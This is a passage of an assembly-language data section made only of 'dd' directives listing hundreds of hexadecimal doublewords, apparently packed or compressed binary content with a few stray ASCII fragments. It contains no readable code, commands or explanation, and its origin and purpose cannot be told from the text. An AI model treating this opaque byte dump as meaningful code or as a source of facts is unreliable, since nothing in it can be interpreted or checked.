0E6A0BE9h dd 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch, 41112FD7h dd 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h, 0B800F5D3h dd 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h, 5AC44A00h dd 248D5801h, 0E0FD0094h, 3E6CD92Ah, 3900F145h, 8FC709D0h dd 3EA5CB29h, 8200687Fh dd 0AE1C8B6Bh, 0C05857DCh, 277007Ch, 5213C201h, 0B4EA00C1h dd 1FE40E4Fh, 4A145888h, 2C954E89h, 4003A310h, 0E0E6C7C6h dd 7F786h, 0FE5A6FBEh, 2C2250E0h, 41813800h, 34761702h dd 0E3A1E18h, 0E3678410h, 0CA7DC0B8h, 300006E1h, 0C0012773h dd 7F23EB2Ah, 0D4FA61h, 151307D6h, 0CF62B25Ah, 0A4D0E301h dd 2A590ACh, 1F850D8h, 0B078C442h, 60119743h, 8001DB44h dd 0FB3AF9B8h, 2822C77h, 0FA34A86h, 390225D0h, 13A424DBh dd 9D4AC190h, 0C51FD868h, 80CC1EE7h, 36D0895Bh, 7E008BF8h dd 0FC58252Dh, 70261BC0h, 27C754Ah, 1F7DDA39h, 5068D329h dd 9E000519h, 0F416117Fh, 6394C9h, 313A7D25h, 89E50AD2h dd 2A93D900h, 126CB113h, 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h dd 0FC304086h, 7C004E3Fh, 7D123D4Ch, 430126h, 0F129227Eh dd 2D9CFE9h, 3F42BC3Eh, 8DF200F9h, 7F4D3A04h, 52FB0724h dd 10FAF0A1h, 0DF4C4762h, 4087A900h, 70317992h, 4F8B0088h dd 8334F1FCh, 7803044Ah, 46068A1Bh, 147ED9C1h, 10D5F4h dd 3BCB8937h, 15A6F3C3h, 0C746000h, 5AEC128Ah, 57FF051Dh dd 0C0415E08h, 273AF875h, 6A985100h, 0FF314390h, 489B0028h dd 23AFC2FCh, 0E0007883h, 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh dd 0A5F884F5h, 8B75003Ah, 701A40EEh, 0AE0790FCh, 28DC3050h dd 949B0C60h, 0C93207AAh, 0B021FAD2h, 477CF139h, 9D4BB600h dd 4502C80h, 0B86F75E9h, 0D43400B4h, 455DB2CAh, 0C81D30DBh dd 0F31EF729h, 593D4080h, 0DA8906h, 1347E95Bh, 9C36C34Ah dd 83A8B83Fh, 1E0EC81h, 0E2FAE0A3h, 41B5007Ch, 903C37E8h dd 7900F01Dh, 7D28F320h, 1F240A80h, 403175FFh, 856AE3DBh dd 1F07AE15h, 0C45B1C59h, 0AAF8C910h, 504D0322h, 0F5743158h dd 0B586C194h, 0C066F932h, 87FB0E4Bh, 0CE4652CAh, 10584960h dd 0D1350096h, 590CD722h, 50009A20h, 32125B3Bh, 0EC8814h dd 8A532E44h, 4F3924A8h, 6113B300h, 897C620Eh, 4CE21D06h dd 5A94075h, 0FF0912A3h, 6DE42E00h, 0EC7F4F14h, 0FE52039Eh dd 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h, 8001F4h dd 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h, 7F6200A0h dd 0F7B400Eh, 881266C8h, 0D80012B2h, 5893598Eh, 0CF22F66Fh dd 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h dd 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h, 10F0BB28h dd 433E4C0h, 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh dd 0CB5C03h, 4A0D8F02h, 638AB406h, 241D2D0Fh, 351940E8h dd 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h dd 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h, 0D1285C61h dd 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h dd 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh dd 554F409Ch, 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh dd 41918024h, 14039BCCh, 0CE920BFAh, 5749A8D0h, 0D45D003Eh dd 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh dd 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh dd 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h dd 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh dd 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h, 0E0EE72E7h dd 26BD9981h, 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch dd 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h, 88909DA4h dd 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h dd 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh, 6071805Ah dd 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh dd 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h dd 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h dd 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h, 0FC021DE4h dd 2D51407Dh, 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h dd 558F6833h, 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h dd 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h, 7056B2CFh dd 6B00B387h, 0B5657C25h, 797B1D83h, 62CD005Ah, 0F926845Bh dd 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh, 2C30EB4Ch dd 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h dd 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh, 9B511998h dd 32008C07h, 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h dd 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh dd 44959C88h, 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch dd 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh dd 6962279Ah, 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh dd 3D8E230h, 82DF0D75h, 0A0A4E84Ch, 3203E259h, 0A4133D59h dd 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h, 22135500h dd 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h, 2F9B3000h dd 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h dd 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh dd 1E46728Ch, 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h dd 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h, 2B0F27B6h dd 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah dd 0C4060C00h, 33B8040Dh, 891200D9h, 5B3936E2h, 551F2CA2h dd 807AE011h, 0AD05D354h, 91F849h, 6CC88925h, 0A34A2471h dd 0A540400h, 3870B506h, 47640027h, 3B74A607h, 8D000583h dd 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch, 0C8002C97h dd 6B7C818Fh, 0A5FA10h, 0E8067525h, 6602EBEDh, 1C453303h dd 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh, 8010A67h dd 0C0705A4h, 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh dd 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h, 64B05B00h dd 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h dd 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h, 5598C0C2h dd 85001018h, 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h dd 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h dd 0E0EEEDFDh, 700015D5h, 0E814025Bh, 6633D7h, 823B8013h dd 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h, 0F96C34Ch dd 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h, 0C749F8CEh dd 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h, 40488B92h dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h, 321D336Ch dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h, 40FFE3CEh dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h, 64210052h dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h dd 0FC3DB3DAh dd 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h, 6A230B43h dd 0EC803305h, 2BEB038Ch, 261B6F0Ch, 0F61811h, 2113BD80h dd 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh, 22D12h dd 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh dd 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h dd 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h dd 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah dd 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h dd 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh dd 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h dd 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h dd 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh dd 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h dd 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh dd 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h dd 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h, 29C00313h dd 62491778h, 4424A0F7h, 14002018h, 597E8088h, 222648h dd 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h, 0FF32DA53h dd 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h dd 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh dd 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h dd 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh dd 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh dd 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h dd 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h dd 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h dd 0A47CC3h, 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h dd 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h dd 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h dd 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h dd 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h dd 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h dd 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh dd 0B400FA83h, 85541977h, 6032198h, 132453E1h, 41C5E94Eh dd 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h dd 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h dd 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h dd 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh dd 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h dd 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh dd 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh dd 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh dd 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h dd 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h dd 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh dd 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h dd 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah dd 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h, 0B8942069h dd 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h dd 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh dd 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h dd 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h, 0AB75A04Eh dd 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh dd 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h dd 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh dd 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h dd 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h dd 0AEA0BAh, 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh dd 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h dd 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h dd 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh dd 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h dd 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh dd 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh, 5F001FE2h dd 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h dd 3D620F16h, 9E18FCh, 3318C50h, 800422B3h, 340045E0h dd 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h dd 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh dd 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h dd 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h dd 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah dd 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah dd 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h dd 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h dd 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h dd 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h dd 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh dd 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h dd 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h dd 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h dd 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh dd 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h dd 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h dd 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h dd 0E78E617h, 0B60516A1h, 55718012h, 8D093927h, 70F70Fh dd 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch dd 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h dd 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h dd 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h dd 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h dd 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h dd 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h dd 0EDB2B800h, 5D1CE553h dd 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h, 0F8CA554h dd 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h, 7BA2BF27h dd 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h, 59F075h, 562FCD5h dd 0CAAE3511h, 3F857B00h, 0F7144EFAh, 0B33B007Dh, 0CB0413C8h dd 0C1FE964h, 7F80BC03h, 59D109A8h, 70C207E2h, 7023A508h dd 5E8C2855h, 5C00B07Fh, 4C914197h, 0B18D0h, 875C91Dh dd 0DE74D20Fh, 58F8DBF0h, 0A791001h, 0EEDAF726h, 73883ECh dd 1CF3673h, 0D97E8334h, 20E9DB91h, 8B75C16Fh, 3582CE00h dd 0E75B906h, 0E0D100F6h, 0D68ED24Eh, 3B0ED7C0h, 870B72FDh dd 0F3700477h, 382B051Dh, 40001B1Fh, 0F75BE7E2h, 0B301B1C3h dd 4607740Ah, 0F7205669h, 0F3E003E5h, 0E8EBD233h, 0F08B5BD0h dd 0C023980Eh, 0FE832008h, 5875FFh, 0B0FCA11h, 5B3981F2h dd 5F18000h, 481C2478h, 0FFDA00C3h, 0E8048237h, 0ED30F8D9h dd 0ABAA462Bh, 2FE42EA8h, 0F882681h, 8B40835Ah, 0A77B9EDAh dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h dd 251520Fh, 40400FABh, 9C7C20F9h, 302C00F1h, 0D81C051Ah dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h, 0C121061Ch dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h, 9D5442h dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h, 317F000Ah dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah, 0D22E00E8h dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h, 83784Fh dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h, 5771E14h dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h, 0A8CD191Fh dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h dd 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h, 25EE6Eh dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h, 98396072h dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h, 0DEC491C8h dd 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh, 4F98A1E8h dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h, 4914DC05h dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h, 0A2423A3Ch dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h, 1CF539F4h dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh, 91B123B0h dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah dd 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h, 805D883Ah dd 8B530A7h, 1C8A1020h, 0C0685CD4h, 817E2423h, 651F4845h dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh, 588E989Dh dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h, 0B258F057h dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch dd 2C00048h, 676E6152h, 9DFD1965h, 7700C820h, 8210C92h dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch, 64221DC0h dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h, 0D044F649h dd 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h, 7542F4AFh dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh dd 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h, 0B9616C89h dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h, 6B632661h dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh, 738572D9h dd 490BDE8h, 839C6655h, 41491F0Ah, 4365D2ACh, 8F60E074h dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h, 3AEB00E1h dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh, 12A74A6h dd 95FF5E8Ah dd 70627852h, 770F7A94h, 0C07D4855h, 0A120DC7Fh, 0A0C2703Bh dd 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h, 31DFAE5Bh dd 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh, 7CF33Bh dd 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh, 0EB6192h dd 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h, 99330073h dd 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h, 0C16F03B8h dd 67E4BAC2h, 604FEBE0h, 1AFB0501h, 6844BDD8h, 2502C8h dd 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h, 4D4F0010h dd 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h, 0F829016Ah dd 0B2640054h, 10240CDBh, 860067E8h, 557550BAh, 12F3B91h dd 3822F5D5h, 402E1004h, 0C4F278E2h, 3A3F9400h, 0F4DAE445h dd 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h, 0ED4B405Eh dd 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h, 89153D65h dd 0BCC8F5Ch, 842401D4h, 0EB66ECA1h, 0AFE8D490h, 43CC5600h dd 9F0C62C6h, 5FFE4Ch, 0D4D68251h, 993537AAh, 5A880207h dd 32079D6Eh, 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah dd 5C7C1228h, 9AEFF00h, 6B291B50h, 3F840002h, 4461765Bh dd 884CEE0Eh, 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h dd 0CCD99DC7h, 0FAACCF00h, 0B815D39Fh, 697970h, 2658E711h dd 560580F0h, 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h dd 0E4CCE884h, 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h dd 70FC00E5h, 0A40F45E3h, 12FB307h, 33D06DF7h, 3D3A20D2h dd 0AFAE19E8h, 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh dd 0CE00130h, 729F2DB0h, 0A639600Eh, 